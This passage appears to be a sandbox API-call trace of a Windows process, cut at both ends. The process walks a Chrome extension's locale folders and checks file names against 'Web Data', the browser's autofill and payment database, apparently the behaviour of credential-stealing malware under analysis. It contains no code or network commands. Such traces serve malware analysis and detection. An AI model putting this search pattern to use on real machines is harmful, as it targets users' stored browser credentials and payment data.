lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.271] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr" [0056.271] LocalFree (hMem=0x2daca0) returned 0x0 [0056.271] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr") returned 131 [0056.272] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr") returned 131 [0056.272] lstrlenA (lpString="\\*.*") returned 4 [0056.272] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.272] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr" [0056.272] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr\\*.*" [0056.272] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.272] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.272] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.272] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.274] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.274] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.274] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.274] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.274] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.274] LocalFree (hMem=0x2daca0) returned 0x0 [0056.274] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.274] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.274] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.275] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.275] lstrlenA (lpString="\\") returned 1 [0056.275] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.275] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.275] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.275] lstrlenA (lpString="sv") returned 2 [0056.275] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.275] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.275] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv" [0056.275] LocalFree (hMem=0x2daca0) returned 0x0 [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv") returned 131 [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv") returned 131 [0056.275] lstrlenA (lpString="\\*.*") returned 4 [0056.275] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.275] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv" [0056.275] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv\\*.*" [0056.275] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.275] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.275] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.275] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.275] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.275] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.275] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.275] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.275] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.275] LocalFree (hMem=0x2daca0) returned 0x0 [0056.275] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.275] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.275] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.275] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.275] lstrlenA (lpString="\\") returned 1 [0056.275] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.275] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.275] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.275] lstrlenA (lpString="th") returned 2 [0056.275] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.275] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.275] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th" [0056.275] LocalFree (hMem=0x2daca0) returned 0x0 [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th") returned 131 [0056.275] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th") returned 131 [0056.276] lstrlenA (lpString="\\*.*") returned 4 [0056.276] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.276] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th" [0056.276] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th\\*.*" [0056.276] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.276] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.276] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.276] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.276] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.276] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.276] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.276] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.276] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.276] LocalFree (hMem=0x2daca0) returned 0x0 [0056.276] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.276] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.276] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.276] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.276] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.276] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.276] lstrlenA (lpString="\\") returned 1 [0056.276] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.276] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.276] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.276] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.276] lstrlenA (lpString="tr") returned 2 [0056.276] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.276] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.276] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr" [0056.276] LocalFree (hMem=0x2daca0) returned 0x0 [0056.276] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr") returned 131 [0056.276] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr") returned 131 [0056.276] lstrlenA (lpString="\\*.*") returned 4 [0056.276] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.276] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr" [0056.276] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr\\*.*" [0056.276] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.276] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.276] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.276] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.277] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.277] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.277] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.277] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.277] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.277] LocalFree (hMem=0x2daca0) returned 0x0 [0056.277] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.277] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.277] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.277] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.277] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.277] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.277] lstrlenA (lpString="\\") returned 1 [0056.277] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.277] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.277] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.277] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.277] lstrlenA (lpString="uk") returned 2 [0056.277] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.277] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.277] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk" [0056.277] LocalFree (hMem=0x2daca0) returned 0x0 [0056.277] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk") returned 131 [0056.277] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk") returned 131 [0056.277] lstrlenA (lpString="\\*.*") returned 4 [0056.277] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.277] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK 